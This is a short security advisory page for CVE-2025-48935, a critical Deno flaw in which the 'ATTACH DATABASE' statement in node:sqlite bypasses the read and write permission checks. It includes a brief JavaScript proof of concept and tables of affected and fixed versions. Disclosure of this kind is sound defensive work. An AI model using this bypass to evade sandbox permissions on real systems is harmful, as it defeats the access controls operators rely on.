NetSight
critical9.1

CVE-2025-48935

Deno has --allow-read / --allow-write permission bypass in `node:sqlite`

Impact

## Summary It is possible to bypass Deno's read/write permission checks by using `ATTACH DATABASE` statement. ## PoC ```js // poc.js import { DatabaseSync } from "node:sqlite" const db = new DatabaseSync(":memory:"); db.exec("ATTACH DATABASE 'test.db' as test;"); db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);"); ``` ``` $ deno poc.js ```

Affected packages

EcosystemPackageAffectedFixed in
rustdeno>= 2.2.0, < 2.2.52.2.5
rustdeno_node>= 0.129.0, < 0.134.00.134.0

Affected products

VendorProductAffected versions
DenoDeno
from 2.2.0 before 2.2.5

Weakness classification

References